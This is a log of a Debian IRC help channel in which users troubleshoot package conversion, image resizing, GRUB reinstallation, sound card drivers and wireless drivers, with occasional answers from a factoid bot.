| 18:45.33 | AutOPSY | thingfish, that is what I am doing. |
| 18:45.36 | wols | AutOPSY: any linux distro has alien |
| 18:45.37 | resiak | mozilla in "leaky as a cloud" shocker |
| 18:45.41 | abrotman | yang: so? |
| 18:45.55 | TonyStark | Wyzard, ok, and then, what pakcage shopuld I have installed? mesa-dri? or mesa-glx? |
| 18:45.59 | yang | abrotman: mozilla is eating all my ram |
| 18:46.11 | AutOPSY | wols, not Fedora Core. I've never seen alien on a Fedora or Redhat box in my life. |
| 18:46.18 | _unstable | abrotman: turn off caching |
| 18:46.23 | _unstable | er, yang turn off caching |
| 18:46.26 | Wyzard | TonyStark: What I keep telling you is that you don't need to install any additional packages -- Mesa with hardware acceleration is *already installed and working* |
| 18:46.30 | wols | TonyStark: in the time it took you to ask that 10000 times, you could have installed both and run a full specview bench for both |
| 18:46.32 | Wyzard | TonyStark: You don't need to install anything else |
| 18:46.37 | Wyzard | TonyStark: Go run your 3D apps |
| 18:46.46 | yang | unstable: then it will load everything again? |
| 18:46.49 | wols | AutOPSY: I remember it on a RH 4.2 box, so I don't believe you |
| 18:46.57 | gnufan | rats - fiddling with audio to get it working - after Gnome login I get a blank background - not the usual graphic showing progress... where to start..... .x-session-errors is complaining about the syntax of /etc/X11/Xsession.d/55gnome-session_gnomerc |
| 18:46.58 | abrotman | yang: so shut it down .. restart it . or ask _unstable about this caching thing . i think it's money .. but not sure |
| 18:47.09 | AutOPSY | wols, can you recall what package alien is a part of? |
| 18:47.22 | wols | AutOPSY: alien |
| 18:47.26 | yassine | anyone have an idea why i do see a ducplicated desktop if i set the resolution to 1024/768 ? |
| 18:47.41 | colter | bye |
| 18:47.42 | kspath | AutOPSY: google will help you |
| 18:47.52 | thingfish | I think it's its own package, AutOPSY. |
| 18:47.53 | TonyStark | Wyzard, ok, ok |
| 18:48.13 | will_ | hey just finished updating my packages and now whenever i try to get into kde's control center i get this message: "Could not find mime type |
| 18:48.13 | will_ | application/octet-stream" |
| 18:48.31 | _unstable | yang: http://weblogs.mozillazine.org/ben/archives/009749.html |
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| 18:49.09 | Wyzard | TonyStark: There don't even seem to *be* any packages named "mesa-glx" or "mesa-dri", btw... just things like xlibmesa-dri |
| 18:49.09 | AutOPSY | wols, alien doesn't exist in RPM format. A lot has changed since Redhat 4.2. I think it may have been phased out. |
| 18:49.20 | kspath | will_ version of debian? |
| 18:49.22 | resiak | AutOPSY: You can compile it |
| 18:49.30 | _unstable | will_: What version of debian are you using? |
| 18:49.30 | AutOPSY | wols, I wasn't sure about this either, as I know Debian has alien. |
| 18:49.37 | yang | _unstable: I don't have firefox, I have mozilla 1.7 |
| 18:49.43 | _unstable | yang: same thing. |
| 18:49.46 | will_ | knoppix 4.0.2 |
| 18:49.51 | _unstable | yang: Any mozilla is old, you want seamonkey |
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| 18:49.55 | AutOPSY | resiak, if ar works, it'll work for me. ar is standard GNU utility. |
| 18:50.02 | kspath | !tell will_ about knoppix |
| 18:50.02 | abrotman | will_: so ask #knoppix |
| 18:50.03 | resiak | !knoppix |
| 18:50.03 | dpkg | Knoppix is _not_ Debian. Seek knoppix help in #knoppix. For those of you who don't know, knoppix is a livecd distro based on debian. It's useful as a rescue cd, to test hardware, and for situations where you have access to a computer but it doesn't run debian. http://www.knoppix.com/. Please go to #knoppix, or knoppix is no more debian than mandriva is redhat. |
| 18:50.04 | _unstable | yang: mozilla is over, no more...the new project name is seamonkey |
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| 18:50.49 | wols | AutOPSY: ftp://ykbsb2.yk.psu.edu/pub/alien/ |
| 18:50.56 | wols | just one googling of "linux alien" |
| 18:51.16 | AutOPSY | wols, does Debian have rpm2cpio? |
| 18:51.17 | kspath | wols: that requires effort though |
| 18:51.18 | yang | unstable: no search find for seamonkey |
| 18:51.34 | wols | AutOPSY: pdo.debian.net |
| 18:51.53 | _unstable | !seamonkey |
| 18:51.53 | dpkg | rumour has it, seamonkey is the new project name for the Mozilla Application Suite, but it's not officially from Mozilla Foundation. Mozilla Application Suite is over, the new name is seamonkey, if you are using Mozilla Application Suite then you are using very old outdated code, check http://www.mozilla.org/projects/seamonkey/ : The reason Mozilla Foundation is not developing on the Mozilla Application Suite anymore is to focus on Firefox and Thunderbird. |
| 18:51.54 | _unstable | yang |
| 18:52.13 | AutOPSY | wols, I am using a distribution based on teh principle of organization. I don't randomly install stuff on my system, many developers do not include an uninstall target in thier Makefiles. |
| 18:52.29 | AutOPSY | wols, I don't need rpm2cpio. I have that. |
| 18:52.39 | thingfish | rpm2cpio is not a part of sarge, at least. |
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| 18:53.07 | godmachine81 | is /etc/debian_version essential for any operations or is it just for user convienience? |
| 18:53.16 | AutOPSY | wols, I'll use ar, if it fails, I'll be sure to check out alien, and see if they provide a .spec file for building RPM packages. Maybe they do, maybe not. |
| 18:53.25 | abrotman | godmachine81: i wouldn't remove it |
| 18:53.28 | stew | thingfish: its in the rpm package |
| 18:54.01 | godmachine81 | abrotman: i'm not wanting to remove it.. i am wondering if what it contains is needed for updating anything or making changes to the dist? |
| 18:54.25 | thingfish | stew: thank you - I just did a quick apt-cache search |
| 18:54.31 | vin` | what's a magical command to convert about 50 pics from 270MB down to 50 pics 50MB? (jpeg) |
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| 18:54.37 | abrotman | godmachine81: if it were a useless file . probably wouldn't be there |
| 18:54.47 | abrotman | vin`: imagemagick? |
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| 18:55.00 | _unstable | vin`: convert |
| 18:55.02 | thingfish | the amount I learn here is only exceeded by my remaining ignorance. |
| 18:55.14 | godmachine81 | im not asking if it is useless... i am wondering really what the sid distro should say if i cat /etc/*version* it just says "sid" |
| 18:55.16 | abrotman | he's not trying to convert .. but resample |
| 18:55.28 | vin` | convert -quality value (what's the proper value) |
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| 18:55.47 | wols | godmachine81: mine says "testing/unstable" :) |
| 18:55.54 | kspath | apt-file search rpm | egrep "^rpm" |
| 18:56.00 | godmachine81 | wols: are you sid? |
| 18:56.04 | godmachine81 | using*\ |
| 18:56.18 | wols | yes |
| 18:56.43 | wols | but I fear my upgrade process was a little unorthodox perhaps. dunno. all I can say it runs well unless the NIC dies again :( |
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| 18:57.33 | godmachine81 | wols thats kinda what im wondering.. see somewehere i got my sources mixed between stable and sid... and then i edited them to unstable and distupgraded... |
| 18:57.51 | wols | so now you should have sid only. what's the problem? |
| 18:57.52 | godmachine81 | and now i have everything worked out.. but my /etc/debian_version just says sid |
| 18:58.08 | wols | if you are running unstable, you're running sid |
| 18:58.13 | godmachine81 | what should etch say and what should sid say? |
| 18:58.22 | godmachine81 | anyone here using etch? |
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| 18:58.40 | stew | godmachine81: they both would say "testing/unstable" |
| 18:58.41 | vin` | !anyone use |
| 18:58.41 | dpkg | No, no one uses it, not even the people who use it. |
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| 18:59.38 | vin` | !convert |
| 19:00.00 | drasko | hi all. I installed alsa, but my audio card m-audio audiophile still wont work. Where to look? |
| 19:00.12 | vin` | drasko: ran alsaconf? |
| 19:00.16 | godmachine81 | stew: thanks |
| 19:00.23 | Daemon- | hi im trying to enter to console by pressing alt+f2 after booting off my debian net install cd, but at what point do i press alt+f2 ? do i have to go into the setup? |
| 19:00.26 | wols | ran alsamixer? |
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| 19:01.08 | Daemon- | the os is already installed, im just trying to get to the console so i can repair my boot sector |
| 19:01.11 | stew | !convert is a utility that is part of the imagemagick package which is useful for convert an image from one format to another, and some basic image editing, ask me about <imagemagick> |
| 19:01.13 | dpkg | one format to another, and some basic image editing, ask me about <imagemagick> cannot be converted to is a utility that is part of the imagemagick package which is useful for convert an image: Unknown unit 'format' |
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| 19:01.34 | kurumin | ?? |
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| 19:01.57 | rebellis | kurumin& Any problem? |
| 19:02.16 | drasko | vin`, No supported PnP or PCI card found. Would you like to probe legacy ISA sound cards/chips? |
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| 19:02.46 | vin` | !imagemagick |
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| 19:03.02 | Daemon- | stew - do u know when i should be pressing alt+f2 to enter the console? |
| 19:03.12 | vin` | drasko: what kernel? |
| 19:03.31 | vin` | Daemon-: when you want to get there? |
| 19:03.38 | drasko | vin`, modinfo: could not find module snd-opl3sa2 and so say for the rest... What is wrong? How come it can not recognize my card -- it it supposed to be supported... |
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| 19:03.41 | sky0 | Isn't there a program to restore mouse control (something had 'grabbed' it and crashed); similiar to what "xvidtune -unlock" does for the video-mode? |
| 19:03.44 | drasko | Kernel 2.6 |
| 19:04.11 | iNAP | i got debian installed, and now my network works and everything, now when i type apt-get install gnome-desktop-environment, it tells me missing packages |
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| 19:04.23 | Daemon- | vin` - asap |
| 19:04.27 | _unstable | iNAP: just apt-get install gnome |
| 19:04.33 | iNAP | oh ok |
| 19:04.37 | iNAP | brb |
| 19:04.38 | vin` | drasko: the kernel on sarge is a 2.6.8, some of the newer cards may not be supported. |
| 19:05.02 | Daemon- | vin` - im currently at the point where it's asking me for the boot method |
| 19:05.17 | vin` | Daemon-: oh, from the d-i? |
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| 19:05.44 | vin` | Daemon-: what are you trying to do? |
| 19:05.57 | Daemon- | vin1 - dont know what the d-i is but im booting from the debian sarge 3.1 net install cd and want to enter the console |
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| 19:06.29 | yggrdasil | how do i use pyxmms-remote ? |
| 19:06.33 | abrotman | Daemon-: you have to start the installer .. and wait for it to start asking you questions |
| 19:06.33 | Daemon- | ive installed windows after i installed linux and have lost grub so i need to get to the console to re-install grub |
| 19:06.44 | ke6isf | yggrdasil: ...rtfm? |
| 19:06.48 | yggrdasil | yar i am |
| 19:06.53 | yggrdasil | just thought it was easy |
| 19:07.02 | Daemon- | abrotman - but it wont start installing and over write my current installation of debian will it? |
| 19:07.10 | _unstable | Daemon-: type grub-install |
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| 19:07.24 | abrotman | yggrdasil: /usr/share/doc/pyxmms-remote/ |
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| 19:07.33 | abrotman | Daedalus_: not til you tell it to |
| 19:07.41 | _unstable | Daemon-: pop in a live cd if you have one, ie knoppix, and go to a root terminal and type grub-install |
| 19:08.00 | drasko | i get E233: cannot open display |
| 19:08.04 | wols | _unstable: a bit of chrooting helps beofre you do that |
| 19:08.05 | vin` | Daemon-: don't partition anything, you should be able to use alt-f2 to switch to the next console soon enough. |
| 19:08.14 | Daemon- | _unstable - it said "could not find kernal image: grub-install" but it's taken me to a command prompt "boot:" now |
| 19:08.14 | drasko | when i try to run gvim from console... |
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| 19:08.18 | abrotman | as soon as it asks for language i'd think |
| 19:08.18 | drasko | why? |
| 19:08.27 | iNAP | not it tells me that it has something dependencies |
| 19:08.27 | vin` | Daemon-: hit enter |
| 19:08.31 | iNAP | and broken packages |
| 19:08.58 | ke6isf | !tell drasko -about enter |
| 19:09.05 | Daemon- | im in, thanks guys |
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| 19:09.44 | drasko | I get E233: cannot open display when i try to run gvim from console... Why? |
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| 19:10.17 | ke6isf | drasko: gvim is a GUI version of vim. |
| 19:10.32 | vin` | etch d-i has a rescue mode iirc, so it should be more obvious. |
| 19:10.52 | iNAP | when i type apt-get install gnome it tells me something like bad dependencies and broken packages.. |
| 19:10.57 | Eulex | is it possible to scroll backwards in a screen? |
| 19:11.00 | Daemon- | it's showing my root file system as tmpfs, should i mount that? |
| 19:11.35 | resiak | iNAP: What version of Debian are you using? |
| 19:11.38 | vin` | Eulex: C-a ESC, use pg up/down |
| 19:11.44 | iNAP | mm the testing amd64 version |
| 19:11.49 | iNAP | its the only way i can get my internet to work |
| 19:11.50 | yggrdasil | so whats a good cmd line mp3 player ? |
| 19:11.58 | resiak | iNAP: ask #debian-amd64 |
| 19:12.00 | Eulex | vin`, ty :) |
| 19:12.03 | resiak | yggrdasil: mpd + ncmpc |
| 19:12.05 | yggrdasil | im intersted in sshing in from my phone and then cntrlooing the play |
| 19:12.10 | drasko | ke6isf, so? |
| 19:12.14 | yggrdasil | ill try it |
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| 19:12.31 | gnufan | where do I find what is happening/happen in sid (or my mirror) in the last 24 hours? |
| 19:12.33 | Eulex | vin`, ah, works perfectly :) |
| 19:12.50 | yggrdasil | resiak how do i use this |
| 19:12.54 | gnufan | By my mirror I mean the one I use... |
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| 19:13.06 | ke6isf | drasko: So, if you're in console mode, you can't run it. YOu need to be running X to run it. |
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| 19:13.18 | vin` | Eulex: enjoy. ;) |
| 19:13.59 | resiak | yggrdasil: rtfm and rtf web site |
| 19:13.59 | drasko | ke6isf, I am running X, I want to start gvim from xterm, in Gnome. |
| 19:14.06 | yggrdasil | heheh thenka |
| 19:14.11 | ke6isf | drasko: Well, why didn't you say so? =) |
| 19:14.25 | ke6isf | drasko: OK, first, what version of Debian are you running? |
| 19:14.30 | Daemon- | vin` - im trying to re-install grub and dpkg said i need to mount my root file system with the following command "mount -t ext2 /dev/whatever /target" but the command "df" reports only one filesystem as tmpfs, is this the one i should mount? |
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| 19:14.31 | vin` | Eulex: odd, that ain't mentioned in C-a ? |
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| 19:15.00 | blondie | fucking buggy xvid code |
| 19:15.12 | drasko | ke6isf, sarge, kernel 2.6, also, I just noticed that I can not start it as a root, but can as a user... Sounds buggy? |
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| 19:15.18 | _unstable | xvid code isn't buggy, works fucking great here |
| 19:15.29 | ke6isf | drasko: Not necessarily. Did you get to root by 'su -'? |
| 19:15.36 | _unstable | maybe some fucking idiot encoded the xvid video you are watching blondie |
| 19:15.37 | iNAP | well no ones answering.. so maybe i can get some help here abotu it? |
| 19:15.54 | iNAP | when i type apt-get install gnome it tells me something like bad dependencies and broken packages.. running testing amd64 |
| 19:16.21 | Daemon- | anyone? |
| 19:16.21 | blondie | _unstable: or maybe the xvid codec won't compile due to obvious errors in the source code? |
| 19:16.21 | Eulex | vin`, nope. if it would have stated "copy mode" I wouldn't have understood that you could use it to scroll anyway :) |
| 19:16.36 | cheloo | Directory in which the loadable extensions (modules) reside will be ? |
| 19:16.36 | cheloo | <PROTECTED> |
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| 19:17.03 | tarzeau | !popcon |
| 19:17.03 | dpkg | methinks popcon is the Debian Popularity contest. See results at http://popcon.debian.org/ or install popularity-contest to participate. do the dpkg-reconfigure -plow popularity-contest right after you answered all debconf stuff |
| 19:17.06 | sandman | Anyone here use moinmoin? |
| 19:17.12 | tarzeau | sandman: yap |
| 19:17.12 | vin` | Daemon-: tmpfs ain't it, which drive is debian installed on? hda? |
| 19:17.20 | tarzeau | sandman: and they've got an irc channel here, too! |
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| 19:17.45 | yggrdasil | hey guys i mounted a smb share but i can only get to it as root ? do i have to chmod or somethng ?? |
| 19:17.46 | Daemon- | vin - im not sure, how do i check? |
| 19:17.46 | vin` | tarzeau: links2 -g works. |
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| 19:18.03 | yggrdasil | its /mnt/storeage |
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| 19:18.06 | yassine | anyone can help me to get my screen resolution well displayed please ? |
| 19:18.06 | wols | yggrdasil: use have to mount it with the proper umode and umasks |
| 19:18.12 | yggrdasil | ohhh... |
| 19:18.12 | drasko | ke6isf, yes |
| 19:18.18 | yggrdasil | doh i should say |
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| 19:18.37 | yggrdasil | and those would be ? mount -t smbfs //olya/storeage /mnt/soreage >>?? |
| 19:18.39 | vin` | Daemon-: try fdisk -l |
| 19:19.09 | yassine | i just installed debian sarge and i can not get the supported resolution displayed as it should when i set the resolution to 1024/768 i gets this : http://bigleo.dyndns.org/berelaxed/fileadmin/images/Screenshot.png |
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| 19:19.15 | tarzeau | vin`: with x? |
| 19:19.20 | tarzeau | vin`: on sid? i doubt |
| 19:19.35 | tarzeau | vin`: you built it manually? what says ldd? |
| 19:19.43 | Daemon- | vin` - /bin/sh: fdisk: not found |
| 19:19.46 | vin` | tarzeau: ah not with x. on the console with fb. |
| 19:19.59 | tarzeau | vin`: i know, but X got borked because of the x-lib-transition |
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| 19:20.06 | tarzeau | vin`: nobody was able to tell me which lib i need so far |
| 19:20.18 | tarzeau | vin`: and i've got some sarge boxes where i can get links2 -g remotely... |
| 19:20.26 | vin` | tarzeau: glad you found out. |
| 19:20.40 | tarzeau | vin`: i didn't find out the bugfix yet :( |
| 19:20.48 | ke6isf | !tell drasko -about run stuff as root |
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| 19:21.14 | vin` | tarzeau: maybe wait for xorg7.0 and then fix it or it'll be fixed automagically. |
| 19:21.33 | tarzeau | vin`: i don't know. |
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| 19:21.51 | tarzeau | vin`: maybe someone gets enough annoyed by it and sends me a patch :) |
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| 19:21.58 | Daemon- | vin` - i think it's /dev/hdc1 because i have another install on a diffferent machine that is setup exactly the same as this one, so they would be the same root file system wouldnt they? |
| 19:22.00 | streuner | tarzeau: do you use openoffice? |
| 19:22.08 | AutOPSY | Thanks. ar x works for Debian packages. Good to know. |
| 19:22.13 | tarzeau | streuner: not really, but what's the question about it? |
| 19:22.21 | vin` | tarzeau: I used it most of day before in console, had X trouble. |
| 19:22.28 | streuner | tarzeau: i need to un-protect a cell |
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| 19:22.41 | da | hey |
| 19:22.48 | tarzeau | streuner: i'm on windows now, w/o oo. and oo don't run on debian gnu/kfreebsd |
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| 19:23.03 | tarzeau | streuner: but marking the cell or sheet and from some menu unprotect? password protected? |
| 19:23.28 | tarzeau | vin`: cool, i really like links2 -g too. it's a very nice graphical browser |
| 19:23.29 | streuner | tarzeau: heh, openoffice run with debian just fine |
| 19:23.38 | tarzeau | streuner: only debian gnu/linux |
| 19:23.43 | tarzeau | streuner: and not even on all archs, imho |
| 19:23.48 | vin` | AutOPSY: dpkg -x can do it too. |
| 19:23.50 | streuner | tarzeau: oh |
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| 19:24.14 | vin` | tarzeau: looked at the modules for goodle.com/ig? |
| 19:24.37 | curt | how would I test my server for total bandwisth throughput or response times (how fast is this box) |
| 19:24.51 | tarzeau | curt: what nic is it? |
| 19:25.00 | tarzeau | curt: try ping and/or traceroute |
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| 19:25.37 | amee2k | where can i change gnome's standard browser? |
| 19:25.38 | curt | tarzeau, that would tell me how well i can connect, but what about it's true capabilities |
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| 19:25.38 | AutOPSY | vin`, I'm not on a Debian machine. I got it, I just needed the linux-headers for a kernel. |
| 19:25.39 | tarzeau | amee2k: in some gnome config center |
| 19:25.46 | vin` | tarzeau: got a nifty command to reduce 50 pics of 270MB down to about 50MB? |
| 19:25.50 | FarrisG | Does nfs-kernel-server in sarge support tcp? |
| 19:25.51 | vin` | tarzeau: jpeg |
| 19:25.57 | tarzeau | vin`: imagemagick |
| 19:26.00 | tarzeau | vin`: mogrify |
| 19:26.08 | tarzeau | (package, and tool name) |
| 19:26.39 | vin` | tarzeau: imagemagick man page sucks, couldn't find anything on convert. |
| 19:26.44 | blondie | man convert |
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| 19:26.50 | drasko | ke6isf, tahnks for the tips! I will use sux from now on. |
| 19:26.59 | blondie | vin`: read the convert man page |
| 19:27.03 | tarzeau | blondie: convert is for single files, mogrify for a lot of them |
| 19:27.15 | vin` | blondie: yeah right tried it? |
| 19:27.16 | blondie | perhaps :P |
| 19:27.20 | blondie | vin`: yes |
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| 19:27.38 | vin` | tarzeau: mogrify looks like it, thanks. |
| 19:27.40 | blondie | well, resize them |
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| 19:27.58 | curt | bbasically it is supposed to be dual 3ghz, 1gb ram, 160gb raid5 on dark fiber and I wanna test it... |
| 19:28.12 | blondie | dark fiber? |
| 19:28.19 | blondie | as in fiber calbe that's not in use? :S |
| 19:28.31 | cheloo | installing horde manually aint bad is it ? |
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| 19:28.37 | curt | or with the windows closed |
| 19:28.41 | blondie | cheloo: what's wrong with apt-get? |
| 19:28.43 | amee2k | tarzeau: where in the control center? |
| 19:28.50 | amee2k | can't find it |
| 19:28.59 | tarzeau | amee2k: oh i don't know |
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| 19:29.13 | cheloo | blondie well apt-get install horde3 works fine ,unstil i install imp4 .. i get some error in the horde page :( |
| 19:29.13 | curt | or fiber that was abandoned in the old tech stock days |
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| 19:29.25 | blondie | cheloo: you have to configure it after installing |
| 19:29.32 | blondie | if you're using stable, it should work :) |
| 19:29.37 | cheloo | blondie i did Notice: Only variable references should be returned by reference in /usr/share/horde3/lib/Horde/Notification.php on line 98 |
| 19:29.44 | cheloo | blondie i do yes |
| 19:29.49 | drasko | Problems with M-audio audiophile and alsa installation: I can not get any saound. How to install the damn thing? |
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| 19:30.09 | blondie | cheloo: turn PHP "Notice"s off :\ |
| 19:30.14 | blondie | they aren't really errors |
| 19:30.20 | shogunx | curt can i get a colo on that dark fiber;) |
| 19:30.25 | blondie | and are not shown by default |
| 19:31.03 | curt | shogunx, it's the latest adv gimick, ut yes... |
| 19:31.04 | _unstable | blondie: which errors? You have specify files/lines of each file? |
| 19:31.14 | cheloo | blondie so thats not a error ? |
| 19:31.15 | vin` | hah, mogrify is just a deceptive form of convert. |
| 19:31.24 | blondie | cheloo: probably not |
| 19:31.37 | blondie | _unstable: I gave up and just did it on windows :P |
| 19:31.38 | shogunx | curt oh, i thought somebody found abandoned fiber to jack into... |
| 19:31.40 | cheloo | blondie heh probably aint good to me ;) |
| 19:31.47 | vin` | tarzeau: I use -quality? |
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| 19:32.50 | blondie | cheloo: the default in php.ini on debian is "error_reporting = E_ALL & ~E_NOTICE" which doesn't show Notices |
| 19:33.17 | drasko | Anybody installed alsa for M-audio souncard? Help needed here, please. |
| 19:33.17 | Daemon- | im trying to mount the root filesystem using "mount -t ext2 /dev/whatever /disk" but i keep getting this error "mount: Mounting /dev/hdc1 on /disk failed: No such file or directory" can anyone help me please? |
| 19:33.17 | blondie | they aren't errors, just warnings |
| 19:33.20 | _unstable | drasko: apt-get install alsa-utils alsa-base; alsaconf; then as non-root type alsamixer and turn up all levels. |
| 19:33.21 | Leorg | ugh, I just joined and "aLen" just privmsged me: Free Porno Videos with a link |
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| 19:33.32 | krassy | hi |
| 19:33.43 | coolpix | re |
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| 19:33.44 | shogunx | curt i worked in atlanta at a place that had a noc where two backbone segments crossed. there was plenty of dark fiber... just waiting for traffic. |
| 19:33.44 | ke6isf | !tell Leorg -about spambots |
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| 19:34.14 | cheloo | blondie le me have a look at mine |
| 19:34.37 | Leorg | !tell ke6isf thanks about the info, it's awkward to talk in 3rd person |
| 19:34.45 | curt | shogunx, sounds pretty cool, and googles latest efforts have to do with dark fiber too as i recall |
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| 19:35.26 | |splat| | are there any special steps i need to take to do a net install using my madwifi-compatible card? |
| 19:35.40 | cheloo | blondie ;error_reporting = E_ALL & ~E_NOTICE |
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| 19:35.53 | shogunx | curt why waste whats already built. enough capacity was built in during the .com boom to last for a good long while. |
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| 19:36.13 | cheloo | blondie error_reporting = E_ALL & ~E_NOTICE its this one here ... its ok ? |
| 19:36.16 | yggrdasil | what are the proper umode and masks to use for an smb mount ? |
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| 19:36.22 | curt | shogunx, that's what the goole article said and cheap too... |
| 19:36.25 | yggrdasil | i cant seem to figure it out im dumb i guesse |
| 19:36.25 | ke6isf | Leorg: Well, you can just say that right in channel, you know. |
| 19:36.42 | blondie | cheloo: yes as long as it's not commented out -- and if it's not, then that php message you got is impossible ;) |
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| 19:36.53 | drasko | _unstable, alsamixer: function snd_ctl_open failed for default: No such device |
| 19:36.58 | _unstable | Leorg: He isn't talking in third person, so many people come into this channel with the same questions again and again, it saves a lot of time and energy if we have a bot to automate the answers that are repeated time and time again. |
| 19:37.00 | shogunx | curt not that the US does a decent job of managing its fiber... s. korea has fiber to the home in most developed areas for @$15/mo. |
| 19:37.18 | _unstable | Leorg: /msg dpkg help |
| 19:37.19 | krassy | what is analog program for linux on AUTOCAD or something similar (free if possible) ? |
| 19:37.39 | curt | my ping times avg 'bout 83ms, but i am like 15 hops away. |
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| 19:38.13 | yggrdasil | hmm now that i look at it ive mounted a ntfs drive too andi can only get to it as roott .... ? somone please help |
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| 19:38.34 | curt | shogunx, populated parts of S Korea are about the size of what Maryland? |
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| 19:38.54 | vin` | blondie: ok, I give up, how do I get convert to work? use -quality? |
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| 19:39.10 | shogunx | curt there are quite a few sizable cities there. |
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| 19:39.31 | biovore | curt: 3 size able cities in maryland :-P |
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| 19:40.07 | beered | is there a debian how-to for intel wireless (2200BG)? I googled for it and found nothing. |
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| 19:40.18 | drasko | Anyone: alsamixer: function snd_ctl_open failed for default: No such device |
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| 19:40.35 | vin` | beered: /msg dpk ipw2200 |
| 19:40.35 | streuner | drasko: cat /proc/version |
| 19:40.42 | vin` | beered: dpkg |
| 19:40.49 | curt | so other than ping ~ traceroute. I could probably but a sizable file on the server and see how fast it d/l's, anthing else |
| 19:41.35 | beered | vin`: " for help go to #ipw2200" |
| 19:41.40 | drasko | streuner, Linux version 2.6.8-2-386 |
| 19:41.45 | beered | vin`: :) |
| 19:41.58 | streuner | drasko: that's not the whole error... |
| 19:42.03 | WasF | Installation Guide 4.4.1. Somebody knows where to find the file hd-media/boot.img.gz ? |
| 19:42.04 | streuner | drasko: that's not the whole output |
| 19:42.06 | vin` | !ipw2200 |
| 19:42.06 | dpkg | ipw2200 is a wireless driver for intel wireless cards, to install: m-a prepare && m-a a-i ieee80211 ipw2200. you will need module-assistant, build-essential and kernel-headers-$(uname -r) packages installed, and you will need contrib sources, ask me about <contrib>. Download and install firmware as you are told during the install. http://ipw2200.sf.net, or for help go to #ipw2200, or ipw2200-source will only compile on a 2.6 kernel |
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| 19:42.13 | drasko | ok, here: |
| 19:42.21 | drasko | Linux version 2.6.8-2-386 (horms@tabatha.lab.ultramonkey.org) (gcc version 3.3.5 (Debian 1:3.3.5-13)) #1 Tue Aug 16 12:46:35 UTC 2005 |
| 19:42.44 | streuner | drasko: ok, is the soundcard even supported by ALSA? |
| 19:42.45 | bucky | WasF: for the floppy install? |
| 19:42.55 | vin` | beered: read that factoid? |
| 19:42.55 | WasF | for the USB |
| 19:42.58 | drasko | streuner, Alsa site says yes. |
| 19:42.59 | blondie | vin`: to do what? |
| 19:43.14 | streuner | drasko: hm, did you run 'alsaconf'? |
| 19:43.28 | drasko | snd-ice 1712 is mentioned, but I do not know much about this... How to load this module? |
| 19:43.31 | vin` | blondie: reduce the size of 50pics from 270MB to 50MB. |
| 19:43.42 | drasko | streuner, alsaconf found nothing... |
| 19:43.46 | blondie | is that the total size? |
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| 19:43.54 | vin` | blondie: yes. |
| 19:43.55 | blondie | and how do you want to make them smaller? |
| 19:44.10 | blondie | reduce their resolution? compression? what? |
| 19:44.11 | streuner | drasko: what chipset? |
| 19:44.13 | beered | vin`: I'm reading... right now, I'm stuck on ieee80211-source error message. |
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| 19:44.42 | brosioz | which is the best cryptography file system ? |
| 19:44.43 | vin` | blondie: reduce resolution, increase compression. |
| 19:44.48 | shogunx | vin' imagemagick |
| 19:44.53 | drasko | streuner, ? I do not know. Which chipset? Processor? |
| 19:45.06 | streuner | drasko: lspci -v | grep -i audio |
| 19:45.20 | vin` | shogunx: how? |
| 19:45.26 | bucky | WasF: there's a link to it at http://d-i.pascal.at/ |
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| 19:45.51 | shogunx | vin` hold on, i put a script on my wifes server to do it for web thumbnails... ill look it up. |
| 19:45.55 | blondie | vin`: yes, use the quality and resize options |
| 19:46.17 | drasko | streuner, 0000:00:0d.0 Multimedia audio controller: VIA Technologies Inc. ICE1712 [Envy24] PCI Multi-Channel I/O Controller (rev 02) |
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| 19:46.33 | vin` | blondie: what is a proper value for quality? the man page is terse. |
| 19:46.47 | WasF | bucky : Perfect ! Thanks a lot, I was desperatly looking for a web page like this ! |
| 19:47.00 | blondie | I don't know |
| 19:47.07 | blondie | I haven't used that option before :) |
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| 19:47.30 | slyphon | i'm using mdadm and trying to add a drive back to a RAID1 array, only when i do mdadm /dev/md0 --add /dev/sda1 it adds the device as a "spare", will it become a non-spare once it's done resyncing? |
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| 19:48.14 | kasemodz | hi, im trying to install cgi script on apache but somehow whenever i try to view it i get a page cannot be displayed |
| 19:48.16 | shogunx | vin' convert -size $size |
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| 19:49.02 | shogunx | and convert -quality $compessionvalue |
| 19:49.54 | beered | vin`: ipw2200 fails on every single step. I did apt-get for all sources and it still complains. |
| 19:49.57 | kasemodz | anyone plz |
| 19:50.11 | kasemodz | ive been trying to do this since yesterday but doesnt work |
| 19:50.16 | vin` | shogunx: where is all this documented? especially the value formats. |
| 19:50.35 | vin` | beered: which kernel? |
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| 19:51.03 | shogunx | kasemodz it will cost you a case light... j/k make sure your cgi-bin is chmod to 755 |
| 19:51.11 | kasemodz | yeah it is |
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| 19:51.18 | cahoot | vin`: http://www.cit.gu.edu.au/~anthony/graphics/imagick6/ |
| 19:51.18 | beered | vin`: Linux nix 2.6.14.6 #1 PREEMPT Sun Feb 12 20:26:27 MST 2006 i686 GNU/Linux |
| 19:51.26 | kasemodz | like can i give u a link to my apache config |
| 19:51.27 | AXEN | HI |
| 19:51.32 | kasemodz | and httpd |
| 19:51.38 | drasko | alsamixer: function snd_ctl_open failed for default: No such device |
| 19:51.41 | drasko | Any clue? |
| 19:51.44 | kasemodz | i think they are right |
| 19:51.49 | vin` | beered: what errors? |
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| 19:52.05 | Eulex | beered, that's a custom built kernel and also pretty new. you may have to patch ipw2200 or use a newer version |
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| 19:52.27 | shogunx | vin` i did dpkg -L imagemagick to get a list of binaries , chose convert, and ran that at the shell, which gave me help text |
| 19:52.28 | kasemodz | im running ubuntu right now |
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| 19:52.33 | Eulex | !ubuntu |
| 19:52.33 | dpkg | well, ubuntu is not Debian. See http://www.ubuntulinux.org. IRC channel is #ubuntu (not here!) http://interviews.slashdot.org/comments.pl?sid=144934&cid=12136879 Ask me about <Based on Debian>, or Even Mark Shuttleworth says this is not Debian.. |
| 19:52.34 | kasemodz | and i have apache2 installed |
| 19:52.38 | Eulex | kasemodz, ^^ |
| 19:52.48 | beered | vin`: Build of the package ieee80211-source failed! How do you wish to proceed? |
| 19:52.56 | streuner | drasko: did you try modprobe ice1712? |
| 19:52.56 | kasemodz | i know i went there but they wouldnt help much |
| 19:52.57 | beered | vin`: Build of the package ipw2200-source failed! How do you wish to proceed? |
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| 19:53.11 | wols | kasemodz: what are your perms on that cgi? |
| 19:53.21 | kasemodz | ok thanks here ill let you know |
| 19:53.32 | Eulex | !they don't know |
| 19:53.32 | dpkg | Just because the people in some OTHER channel don't know the answer to your non-Debian question, it does NOT give you the right to hassle US with your problems. Go try Google. |
| 19:53.45 | AXEN | If you want install ipw2200 driver, I'll get ipw2200 firmware..!! |
| 19:54.01 | drasko | streuner, FATAL: Module ice1712 not found. |
